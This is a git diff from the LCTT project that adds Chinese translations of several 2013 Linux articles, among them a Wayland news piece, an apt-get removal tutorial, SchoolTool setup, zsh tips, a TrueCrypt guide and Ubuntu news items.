+Ubuntu曾企图征服FOSS(Free and Open Source Software自由和开源软件)世界的秘密计划被Intel的一纸声明挫败,至少到现在为止,Ubuntu仍未能翻身。但如今,Intel开发者的真正计划也被揭露了。 + +抛开那些戏剧化的剧情,实际上Intel为Wayland的未来投入巨资已不是秘密,Intel的开发者们正加紧与Red Hat的合作,争取将GNOME Shell变为一个"码农"(译注,意指GNOME Shell只完成表层的外围工作)。 + +来自Red Hat的Christian Schaller在他的个人博客中写道:“我们在Red Hat的团队一直在和我们的同行Intel紧密协作,合并并稳固相关的补丁包,保证Wayland能够支持GNOME,同时查看堆栈中还有哪些地方需要进一步改进。” + +看起来这个小组当前的目标是为Fedora 20准备一个足够的技术预览版本,至少目前是这样。这不是一个正式项目,但至少应该会给人们一个值得期待的idea。 + +Ubuntu13.10预定于10月份发布,在这个特殊的时间点上,Canonical是否会急切的使出全力推出Mir,目前还并不明朗。 + +Schaller在他的博客中还写道,“因此,一旦确信用户不会感到负面影响,我们才会最终用Wayland替代X服务器。所以,在Fedora 21中默认采用Wayland还是X服务器,这仍然是一个悬而未决的问题。” + +这场显示服务端之间的“战争”即将决出一个赢家,那就是终端用户。为了提供更好的用户体验,决战双方,Intel和Canonical都更加充满斗志。无论谁胜谁负,最终受益的都将是我们这些用户。 + + +via:http://news.softpedia.com/news/Red-Hat-and-Intel-Working-Closely-to-Bring-Wayland-as-Default-for-Fedora-21-383119.shtml + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[Caroline][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[Caroline]:http://linux.cn/space/14763 diff --git a/published/201309/Removing Applications Using Terminal in Ubuntu.md b/published/201309/Removing Applications Using Terminal in Ubuntu.md new file mode 100644 index 0000000000..4dd50548fe --- /dev/null +++ b/published/201309/Removing Applications Using Terminal in Ubuntu.md @@ -0,0 +1,74 @@ +在Ubuntu中使用终端删除应用程序 +================================================================================ + +作为一个Linux(Ubuntu)用户,你每次从终端安装应用程序的时候都会用到**apt-get**这条命令。 + +虽然可以使用图形化界面来安装删除应用程序,但是命令行依然被认为是功能强大的方式。在安装了许多大大小小的应用程序以后,你会需要更多的磁盘空间来安装其他的应用程序,或者有些程序对你不再有用了。 + +大多数人,尤其是初学者,通过在查阅资料后,能够从终端安装一个程序,但是却很难删除它。我也曾经有过这样的经历。 + +这是一个简单的教程,指导你如何删除已经安装的软件包。 + +a. 打开终端(ctrl + alt + t) + +b. 输入 + + $ dpkg --list + +(这条命令会显示所有已安装的包) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/list_.png) + +或者 + + $ dpkg --list | less + +(这样可以轻松的使用用户密钥来导航) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/dpkg_list.png) + +或者 + +如果你知道软件包的名字,你可以使用管道命令**grep**来查找,使用下面的语句: + + $ dpkg --list|grep -i 'packagename' + +以**VLC**播放器为例。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/vlc_grep.png) + +c. 查找要删除的包名字,这里我要使用**sox**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/remove_SoX.png) + +d. 只删除一个软件包,使用下面的命令: + + $ sudo apt-get remove + +比如,删除一个叫**sox**的软件包,输入: + + $ sudo apt-get remove sox + +输入y来确认卸载。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/sox2.png) + +e. 要删除一个包以及它的配置文件,输入: + + $ sudo apt-get --purge remove + +比如,删除一个叫sox的包以及其所有的配置文件: + + $ sudo apt-get --purge remove sox + + +via: http://www.unixmen.com/removing-applications-using-terminal-ubuntu/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[markvv][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[markvv]:http://linux.cn/space/markvv +[Caroline]:http://linux.cn/space/14763 diff --git a/published/201309/SchoolTool--An Advanced School Management And Information System.md b/published/201309/SchoolTool--An Advanced School Management And Information System.md new file mode 100644 index 0000000000..929f02d0a5 --- /dev/null +++ b/published/201309/SchoolTool--An Advanced School Management And Information System.md @@ -0,0 +1,119 @@ +SchoolTool:先进的学院管理和信息系统 +=== + +[SchoolTool][1]是一个基于网页的开源免费学生信息系统,为世界各地的学校而设计。它是由[Shuttleworth][2]研发并发布,基于翻译、定位和自动化部署的有力支持,通过 **Ubuntu Linux 安装程序** 和 **包管理系统** 更新。 + +SchoolTool是经GPL2许可,使用 **Zope 3** 框架并用 **Python** 语言编写。这个项目的主要目标是创建一个简单的turnkey模式(译者注:一个“交钥匙”的“工程项目管理模式”)学生管理和信息系统,包括中小学人数统计、学分表、出勤、日历和报告。 + +###功能 + +- 可定制学生和教师的人数统计和其他个人的数据 +- 为教师,学生和监护人提供联人管理 +- 教师学分表 +- 全校评估数据收集和报告卡 +- 班级到场人数和每日出勤分数 +- 学校,群组,个人和资源预定日历 +- 跟踪和管理学生的干预措施 + +###安装SchoolTool + +SchoolTool核心开发团队强烈建议和推荐在Ubuntu 12.04或之后版本安装SchoolTool。他们为多个系统创建了软件包,但其核心开发团队不支持它们。 + +SchoolTool是在官方软件仓库中找到的,所以,我们可以用命令来安装它: + + $ sudo apt-get install schooltool + +另外,可以用PPA来获取更新版本和开发版本。 + + $ sudo add-apt-repository ppa:schooltool-owners/ppa + +或者 + + $ sudo add-apt-repository ppa:schooltool-owners/dev + +使用命令更新软件源列表并最后用命令安装SchoolTool: + + $ sudo apt-get install schooltool + +###访问SchoolTool + +打开你的浏览器在地址栏中输入 **http://localhost:7080** 。 + +如果你想通过远程客户端打开它,编辑文件 **/etc/schooltool/standard/paste.ini** 。 + + $ sudo nano /etc/schooltool/standard/paste.ini + +设置主机值为0.0.0.0 如下所示。 + + host = 0.0.0.0 + +保存并关闭文件。重启schoolTool服务。 + + $ sudo service schooltool restart + +现在,你可以从你的浏览器上用URL **http://ip-address:7080** 来访问SchoolTool网页控制台。你将看到一个空白的日历,如下图所示。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Your-School-%C2%BB-Today-Mozilla-Firefox_001-1024x620.png) + +###初始化配置,更改管理员密码 + +SchoolTool默认的管理员账户是“ **manger** ”,密码是“ **schooltool** ”。登录使用以上认证。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Log-In-Mozilla-Firefox_002-1024x620.png) + +在上面定位到 **Home** 按钮。点击 **Password** 下方的 **Setting** 部分。输入两次旧密码和新密码并单击Apply。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/SchoolTool-Administrator-%C2%BB-Password-Mozilla-Firefox_004-1024x620.png) + +###服务设置 + +登录管理员账户。在Server部分,你将发现你的SchoolTool服务器的细节。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Server-Mozilla-Firefox_005-1024x620.png) + + +###设置外发邮件 + +SchoolTool并不像Sendmail或Postfix扮演着邮件服务器的工作。它将像邮件客户端一样发送邮件,如Thunderbird, Evolution。 + +若要在SchoolTool中启用邮件功能,登录管理账户并转到Server列表。点击 **Outgoing Email** 链接。在那之后,点击黄色铅笔图标去更改邮件设置。填充smtp,Email和password并单击apply。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Server-%C2%BB-Outgoing-Email-Settings-Mozilla-Firefox_008-1024x620.png) + + +###设置日历 + +按照你的区域位置设置日历很重要。点击Server部分的 **Calendar** 列表。选择你的时区,我的设置是 **Asia/Kolkatta** 。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Server-%C2%BB-Calendar-Settings-Mozilla-Firefox_009-1024x620.png) + + +转到其他链接,如Errors,Tabs和Pack Database。管理操作系统是不言而喻的。按照你的需求阅读和改变设置。 + +###设置学校 + +现在我们来介绍简明又重要的部分,它需要我们花费更多的时间和精力来完成。本文并不能覆含所有内容,所以我推荐你去访问SchoolTool官方[文档][3],一个接一个仔细浏览每一部分,按照要求设置你的学校。完成整个学校的设置需要花费可能会花费几个小时甚至几天的时间。别害怕,它并不困难:SchoolTool团队在其网站为用户充分准备了自我帮助的文档和截图。你不必去其他任何地方学习SchoolTool,通过SchoolTool文档页就能学习并DIY。 + +###参考文献: + +- [SchoolTool 网站][4] +- [维基百科][5] + +--- + +via: + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[Caroline]:http://linux.cn/space/14763 + +[1]:http://schooltool.org/ +[2]:http://www.shuttleworthfoundation.org/ +[3]:http://book.schooltool.org/setup-toc.html +[4]:http://www.schooltool.org/ +[5]:http://en.wikipedia.org/wiki/SchoolTool diff --git a/published/201309/Technology Trumps Dogma, And Other Open Source Insights.md b/published/201309/Technology Trumps Dogma, And Other Open Source Insights.md new file mode 100644 index 0000000000..b412e008ac --- /dev/null +++ b/published/201309/Technology Trumps Dogma, And Other Open Source Insights.md @@ -0,0 +1,88 @@ +技术胜过教条——关于开源的一些见解 +============================ + +为何Marten Mickos 是开源领域中最受尊敬的领导者之一,本文将告诉你原因。 +-------------------------------------------------------------------------------- + +![Technology Trumps Dogma, And Other Open Source Insights](http://readwrite.com/files/styles/630_0su/public/files/files/cloud/marten-mickos.jpg) + + +几周前,我拜访了Eucalyptus System的CEO Marten Mickos,想请他[就开源领域中的人员构成变化问题发表一些看法](http://readwrite.com/2013/08/27/linux-turns-22-but-open-source-is-eternal#awesm=~oh8KYvjJatv2EW)。他也确实给出了他的看法,而且是用明显的Mickos风格。 + +我本打算分享Mickos所有天才般的见解,但不幸的是,由于篇幅限制,很多精彩言论只能被迫砍掉。Mickos曾经帮助MySQL成为世界上最受欢迎的数据库,如今,他正尝试让一个开源云计算产品达到同样的高度。 + +经历过多次成功与失败后,Mickos有无数有关开源的智慧分享给我们。例如当开源开发者一直在努力回避企业对某一个开源项目的影响时,Mickos却提醒我们,金钱是至关重要的发展资金,更何况营销和文档。那种爱好和平、拒绝金钱的开源项目只能是一个神话。 + +**金钱对于开源的重要性...** + +没有钱,开源就是死路一条。 + +**开源商业化战略背后的基本原则...** + +有些人为了省钱浪费大把时间,有人却花钱来节约时间。 + +**开源开发者的人员构成变化...** + +过去,开源社区的开发者们看起来都像是真正的牛仔——时刻表现出真正的自己,遵循自己的个性道路,追寻他们几乎无限的自由。今天,许多开源社区的开发者们却很乐意受雇于与开源精神相悖的大公司(例如Google,HP,IBM,Oracle等等)。当他们发表公众言论的时候,还会标明其言论仅代表自己的个人观点,并非所在公司的官方声明。和过去相比,如今自愿的服从已经很普遍。 + +**非盈利版权授权及管理的作用...** + +FOSS(Free Open Source Software自由及开源软件)许可证及其管理模式的目的并不是为了让志趣相投的人们协作在一起,尽管它也有这个效果。FOSS是为了让意见不一致的人们在一起协作。开源的美丽就在于能够让不同的人们为相同的产品贡献代码。 + +**领袖...** + +无论在精英制度中还是在大众生产模式中,人们都需要领袖。 + +**批评性意见...** + +在可持续发展的基础上,如果你能真正热爱严厉的批评,如果你能对别人的贡献无论大小与类型,都真正表现出无比的热情与感激,你一定能在开源领域获得无比的成功。 + +当人们抱怨你的开源项目时,你只需要记住:忠言逆耳。他们其实是爱你的。 + +如果没有人反对你的开源产品或项目,其实你并不是真的受欢迎。[反对者恰恰是你通向成功的路标](http://readwrite.com/2013/02/25/haters-as-a-leading-indicator-of-success#awesm=~oh8MUh09kvHxy3)。 + + +**品牌的作用...** + +授权问题同时更多的是一个品牌问题。红帽将他们的开源社区冠以“Red Hat”品牌并商业化后,还建立了非商业化品牌Fedora。MySQL和JBoss却恰好相反,他们从社区到商用都使用同一个品牌。当你fork的时候,因为该品牌并未包含在开源授权许可中,所以你必须使用不同的名字。 + + +**开源"神学"中显著的不一致性...** + +开源的人可能是教条主义的,特别是对别人。出于正统或纯洁性,他们会急切的要求一些项目按照这样或那样的方式进行。但是同时他们却愉快地使用诸如iBooks这样的封闭系统,因为他们崇拜这些产品。技术胜过教条。冷静是关键。关于所有这些我所说的并不是抱怨,而是一种观察。要在开源中成功,你必须学会接受它并善加利用。 + +**开源过去十年来的变化...** + +过去,人们不知道它是什么,如何工作,为何这么做,怎样创造出伟大的软件,为何它没有自生自灭等等。这也是为什么LAMP能够将它推向财富杂志的封面——它是如此新颖和迷人。今天,人们知道开源,还知道开源是软件世界不可或缺的一部分。过去,当权者反对它;今天,当权者拥抱它(至少假装如此)。 + +过去,做开源的人只有非常少的一部分人,他们关注开源本身,在博客中讨论开源的意义,思考开源的商业模式。今天,做开源的人包括程序员、社区领袖、测试人员、使用者、投资者还有作家。 + +过去,无论从哪方面看,授权都是很大的一个问题。今天,它只是一个话题而已。 + +过去,开源只涉及到少部分项目中的少部分人。今天,这类项目的数字大概增加了100-1000倍。 + +过去,开源的相关基础设施并不存在。今天,我们有Wiki,Github,Jira等服务,方便地告诉我们如何运行和管理一个开源项目。 + +十年前,人们愿意下载发行版。今天,人们上传镜像(到云端)。 + +**开源过去十年来未曾改变的...** + +仍然有大量肆无忌惮的狂热者,他们常常已经接近“很傻很天真”的边缘,他们为开源带来令人震惊的收获,但同时也不可避免地带来一些缺点。 + +开源仍然吸引着优秀的天才。 + +最成功的开源项目往往以开发者为目标。而那些供普通消费者或非技术人员使用的产品往往并不成功。但往往也有一些著名的例外,例如Firefox,Android,也许OpenOffice也算一个。 + + +via:http://readwrite.com/2013/09/13/marten-mickos-interview-open-source-mysql-eucalyptus + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿][] 校对:[wxy][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[wxy]:http://linux.cn/space/wxy + diff --git a/published/201309/Ten Great Zsh Tips.md b/published/201309/Ten Great Zsh Tips.md new file mode 100644 index 0000000000..ce7479df08 --- /dev/null +++ b/published/201309/Ten Great Zsh Tips.md @@ -0,0 +1,64 @@ +十个最好的ZSH技巧 +================== + +1: 使用 ** 作为下级目录的通配符: + + $ ls **/*.pyc + foo.pyc bar.pyc lib/wibble.pyc + $ rm **/*.pyc + $ ls **/*.pyc + +2: 在文件筛选中使用匹配模式: + + $ ls *.(py|sh) + +3: 在文件筛选中使用修饰符,如:(@) 限制只匹配符号链接: + + $ ls -l *(@) + +4: 使用制表符TAB来自动完成,如man的时候: + + $ man zsh[TAB] + +5: 也可以用制表符来自动补全命令选项: + + $ python -[TAB] + +6: 或者在kill的时候自动完成: + + $ kill Dock[TAB] + +7: 在制表符自动补全时,可以使用光标键(上下左右等): + + $ man zsh[TAB][DOWN][RIGHT][LEFT][UP] + +8: 自动修改错误的输入: + + $ pythn -V + zsh: correct 'pythn' to 'python' [nyae]? y + Python 2.7.1 + +9: 使用**r**来重复上一条命令,可以带替换方式! + + $ touch foo.htm bar.htm + $ mv foo.htm foo.html + $ r foo=bar + mv bar.htm bar.html + +10: 高可定制性的提示符,使用RPROMPT居然可以设置提示符在右边! + + $ RPROMPT="%t" + +via: http://blog.goosoftware.co.uk/2012/05/22/ten-great-zsh-tips/ + + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:冰雨玉洁 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[译者ID]:http://linux.cn/space/译者ID +[wxy]:http://linux.cn/space/wxy + + diff --git a/published/201309/The Linux Mint Repositories are Closed on September 18.md b/published/201309/The Linux Mint Repositories are Closed on September 18.md new file mode 100644 index 0000000000..70a71dab99 --- /dev/null +++ b/published/201309/The Linux Mint Repositories are Closed on September 18.md @@ -0,0 +1,25 @@ +Linux Mint信息库于9月18日关闭 +========== +**2013年9月17日,Clement Lefebvre宣布,受欢迎的Linux Mint操作系统的主要信息库将于2013年9月18日关闭维护。** + +![](http://i1-news.softpedia-static.com/images/news2/The-Linux-Mint-Repositories-are-Closed-on-September-18-383857-2.png) + +维护过程将于伦敦时间上午9点开始,很可能会持续到第二天,也就是2013年9月19日。 + +敦促所有Linux Mint用户在此维护期间保持冷静。如果你使用Linux Mint15(Olivia)并且想要安装或升级一些软件包,到菜单(Menu) ->首选项(Preferences)->软件源(Software Sources),单击“官方信息库”的“镜像”分支下的“Main(Olivia)”按钮并等待几分钟,应用程序会找到其他镜像。 + +当新的镜像添加后单击“更新缓存(Update cache)”按钮, 并且关闭应用程序。现在,你将能够在Linux Mint 15系统上安装软件包。使用旧版本Linux Mint系统的用户[应遵循这些说明][1]。 + + +via: http://news.softpedia.com/news/The-Linux-Mint-Repositories-are-Closed-on-September-18-383857.shtml + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[Caroline]:http://linux.cn/space/14763 + +[1]:http://blog.linuxmint.com/?p=2448 diff --git "a/published/201309/Torvalds\342\200\231 Dead SSD Delays 3.12 Linux Kernel.md" "b/published/201309/Torvalds\342\200\231 Dead SSD Delays 3.12 Linux Kernel.md" new file mode 100644 index 0000000000..a71559eb66 --- /dev/null +++ "b/published/201309/Torvalds\342\200\231 Dead SSD Delays 3.12 Linux Kernel.md" @@ -0,0 +1,36 @@ +Torvalds的SSD硬盘故障 延迟Linux 内核3.12发布 +=========================================== + +本周的前几天,Linux的首席架构师Linus Torvalds的工作站的SSD硬盘突然发生了故障,导致[Linux 3.12 内核][1]开发受到了影响。 + +在一份标题为“RIP-硬盘故障”的消息中,Linux的创始人要求贡献者们重新发送补丁和发起尚未合并到GIT版本库的拉取请求。 + +Torvalds是全职工作在内核的开发工作中,并保留了决定是否接受新代码的最高权利。 + +###固态延迟(Solid State Delay,嘲讽SSD固态硬盘) + +就在为期两周的合并期结束前的几天,[Torvalds 写到][2]“这段时间简直糟透了,看起来似乎我主工作站的SSD硬盘坏掉了。” + +![img](http://www.techweekeurope.co.uk/wp-content/uploads/2013/09/seagate_ssd_3.jpg) +seagate_ssd_3 + +“我会试一试,看看是否能够恢复硬盘,但是现在我的机子甚至拒绝我查看它的引导扇区,我试着从网络引导,但我并不是很有信心。” + +他说他的很多工作并没有白费, 并请社区去检查他们的拉取请求是否已经放到了在git.kernel.org的分支里面。 + +Torvalds 对他的小伙伴们保证,“万一出现最坏的情况,我会在我的笔记本上做最后几天的合并,无论如何我都计划着把它完成,因为接下来我就旅行去了。” + +Linux 内核3.12仍处于早期开发阶段,并且还需要经过适当的测试。这些新改变包括改良的电源管理、新的KVM虚拟化功能、更好的声音驱动、EXT4文件系统以及F2FS文件系统的新功能。 + + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/portal.php) 荣誉推出。 + +译者:[vito](http://linux.cn/space/vito) 校对:[Caroline](http://linux.cn/space/caroline),[wxy](http://linux.cn/space/wxy) + +via: http://www.techweekeurope.co.uk/news/torvalds-dead-ssd-delays-3-12-linux-kernel-126895 + +[1]:http://www.techweekeurope.co.uk/comment/linux-kernel-greg-kroah-hartman-124957 +[2]:http://lkml.indiana.edu/hypermail/linux/kernel/1309.1/01669.html +[3]:https://git.kernel.org/cgit/ + + diff --git a/published/201309/TrueCrypt, powerful-yet-friendly encryption application.md b/published/201309/TrueCrypt, powerful-yet-friendly encryption application.md new file mode 100644 index 0000000000..243232b7c1 --- /dev/null +++ b/published/201309/TrueCrypt, powerful-yet-friendly encryption application.md @@ -0,0 +1,95 @@ +功能强大界面友好的加密程序,TrueCrypt +=============================== + +[TrueCrypt][1]是一款免费的开源加密程序,拥具有强大、多样、先进、高质量的加密能力,它具有友好、易懂的用户界面和功能。 + +TrueCrypt允许用户通过密码访问加密后的文件,其本质上是将文件解密后再像常规文件一样访问。完全加密后的文件,非用户以外的人是无法访问的。 + +TrueCrypt的各项 **特性** 如下: + +- 能够建立加密文件夹并将其呈现为真实的硬盘 +- 支持加密存储设备(例如U盘)或整个分区 +- 自动根据需要进行实时动态加密 +- 充分利用系统资源,能够快速读取加密数据,速度接近访问未加密数据时的速度 + +TrueCrypt的 **实时动态加密** ,意指: + +- 数据在存储之前就已经被自动加密 +- 数据在加载之后会自动解密 +- 例如,播放一个加密文件夹里的小电影,TrueCrypt会直接在内存中将密数据一部分一部分解密后再送入指定的内存块(或播放器)。也就是说“TrueCrypt从不会将明数据放在硬盘上,这些明数据只会暂时存在于内存里”。 + +下面几个步骤教你如何用TrueCrypt **新建** 一个加密文件夹: + +- [下载][2]TrueCrypt 7.1 +- 解压缩后在终端中输入以下命令(假设你解压在了Downloads文件夹下) + + cd Downloads + ./truecrypt-7.1a-setup-x64 + +(如果你的操作系统是32位,将上面的x64改为x32) + +- 然后根据提示,点击鼠标,轻松完成安装 +- 在Dash搜索栏中键入`truecrypt`,启动TrueCrypt +- 依次点击`TrueCrypt-->Volumes-->Create New Volume`,建立一个新的“待加密文件夹” +- 选中 `Create an encrypted file container`然后点击`Next` + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20create%20new%20volume.png) + +- 选中`Standard Truecrypt volume` 并点击 `Next` + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20standard%20truecrypt%20volume.png) + +点击`Select File`,在你认为合适的位置新建目录/条目(例如,在`Music`目录下建立一个`123`条目),然后点击`Next` + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20volume%20location.png) + +- 再次点击`Next` (此时默认选择的加密算法是AES) + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20aes.png) + +- 选择大小(例如要建立一个100MB的文件夹,就在输入框中填入`100`,后面的复选框选中`MB`) + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20size%20mb.png) + +- 设置一个密码 + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20password.png) + +- 选择一个文件系统类型(例如`Linux Ext4`) + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20ext4.png) + +- 选中`I will mount the volume only on Linux`(这里请根据实际情况选择) + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20mount%20linux.png) + +- 接下来,持续猛烈晃动你的鼠标几秒钟(译者注:该步骤用来生成密钥,晃动越无规律时间越长越好),然后点击`Format`,最后输入刚才设置的密码,整个加密条目的创建过程就完成了。 + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20random%20pool.png) + +**使用** + +到此为止,刚刚建立的那个加密文件夹就已经在TrueCrypt的保护下了,点击 `Select File`,找到刚建立的加密条目,再点击底部的`Mount`,挂载/打开该加密文件夹。 + +接下来,用户就可以把这个加密目录当做一个常规目录正常使用,可以复制图像、重命名文件、双击打开图像等等。 + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20nautilus.png) + +下图中,点击`Dismount`按钮,就可以卸载该加密文件夹,卸载后刚才挂载的盘符就不见了,同时里面的文件自然也就禁止访问了。 + +![](http://iloveubuntu.net/pictures_me/TrueCrypt%20dismount.png) + + +via: http://iloveubuntu.net/truecrypt-powerful-yet-friendly-encryption-application + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://www.truecrypt.org/ +[2]:http://www.truecrypt.org/downloads diff --git a/published/201309/Ubuntu further extends its openness by launching UbuntuVoice, official open-for-participation user experience network.md b/published/201309/Ubuntu further extends its openness by launching UbuntuVoice, official open-for-participation user experience network.md new file mode 100644 index 0000000000..d2aeabda83 --- /dev/null +++ b/published/201309/Ubuntu further extends its openness by launching UbuntuVoice, official open-for-participation user experience network.md @@ -0,0 +1,24 @@ +##通过推出Ubuntu Voice,Ubuntu进一步扩展了其开放性,正式开放供参与用户体验网络。 + +Ubuntu是一个全球规模的巨大项目,超越了国界、年龄、国籍和社会地位,汇聚2000万用户,在这里,友谊、情感和性能都成为了Ubuntu操作系统的坚固基础。 + +Ubuntu是一个以用户为中心的操作系统,由Linus Torvalds[发布](http://iloveubuntu.net/linus-torvalds-ubuntu-has-generally-had-right-approach-very-user-centric),把用户的需求,要求以及反馈集中体现在精心设计的交互行为、优化的界面和美丽的样式之中。 + +Ubuntu的设计师赵婷婷宣布了Ubuntu Voice已可用这个令人兴奋的[消息](http://design.canonical.com/2013/09/join-in-ubuntuvoice-be-the-voice-of-millions-of-ubuntu-users/),本质上,它是一个正式的用户体验网络,在这里用户可以提供有关Ubuntu的应用、产品、目标等方面的反馈。 +通过Ubuntu Voice,认证用户将会得到独特的机会来塑造Ubuntu的最核心内容,从某种意义上讲,是通过用户的反馈信息,帮助设计者加工成型,加强和改善Ubuntu即将到来的组件。 + +有兴趣参加这个项目的用户将可以: + +“代表超过2000万的Ubuntu用户发出声音.将会得到机会参与Ubuntu不同产品的调研,还能帮助塑造Ubuntu体验。选择其中有兴趣的项目即可。” + +“了解最新的Ubuntu。通过电子邮件的方式得到定期更新(每两个月),比如设计者们正致力于什么,反馈是如何被使用的,以及用户如何与这些技术进行交互。" + +“获得一些额外的东西,我们的一些研究将伴随着奖励,或者是一种‘Ubuntu幸运奖’的形式,有一些研究是志愿的。” + +想要加入Ubuntu Voice,请点击: + +https://docs.google.com/a/canonical.com/forms/d/1xB7vRZiQDcEVCQX-HVqExj0... + +UbuntuVoice 是另一个Ubuntu 对用户开放性的证据,即Ubuntu 对用户反馈深刻关注,并将其转化为一个美妙的创造性环境,服务世界各地成百万的用户。 + +[via: http://iloveubuntu.net/ubuntu-further-extends-its-openness-launching-ubuntuvoice-official-open-participation-user] diff --git "a/published/201309/Ubuntu_Touch_HD_Screenshot_Tour_\342\200\223_The_Road_So_Far.md" "b/published/201309/Ubuntu_Touch_HD_Screenshot_Tour_\342\200\223_The_Road_So_Far.md" new file mode 100644 index 0000000000..85a0f3ed52 --- /dev/null +++ "b/published/201309/Ubuntu_Touch_HD_Screenshot_Tour_\342\200\223_The_Road_So_Far.md" @@ -0,0 +1,82 @@ +Ubuntu Touch HD 截图赏析 - 至今走过的路 +================================== + +Ubuntu Touch将在一个多月后发布,这意味着这个这个系统已经接近稳定。我们来看看它的界面和功能,并来一个全面的截图赏析。 + +早在今年一月,Ubuntu Touch就已经有了一个大致的体验和设计,但现在这个系统不再全是APP样子货了。大多数其默认包含的应用程序现在已经可以工作了。 + +这就是说,如果你今天下载和安装Ubuntu Touch,你将有一个最起码可以工作的电话了。你能接打电话、收发短信。浏览器同样工作,还有图像查看器和图库等。 + +其他功能包括一个简单的联系人功能、一个方便的启动器、一个日历和相机。最终的应用程序将包括很多功能,并且它们中的一些从来没有出现在其它其他系统上。 + +基本功能仍然有一些问题,比如,时钟不能手动设置,也不能设置闹钟。 + +正如预期的,这不是个稳定版本并且它将不提供稳定版本。Canonical公司实施了在线更新功能,开发人员每天都会推出更新。如果一切顺利的话,在10月17日推出1.0版本时,Ubuntu Touch应该会好很多。 + +Ubuntu Touch是基于LG和Google的Nexus 4和Nexus 7开发的,但是预计在XDA的开发者们的帮助下会支持更多设备。 + +如果在发布时这些功能都可以用了的话,包括导入Gmail的联系人和一个简单的邮件应用程序,很多用户都准备更换掉他们当前的系统。 + +如果你还不知道的话,Ubuntu Touch是一个由Canonical公司为电话和平板自主研发的操作系统。它的特点是没有物理按钮的设计,且其仅依靠触摸输入,并因此而得名。 + +通过下面的图库去看看界面如何演变和到目前为止有了什么功能吧。 + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-2.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-3.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-4.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-5.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-7.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-8.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-9.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-10.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-11.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-12.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-13.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-14.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-15.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-16.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-17.jpg) + 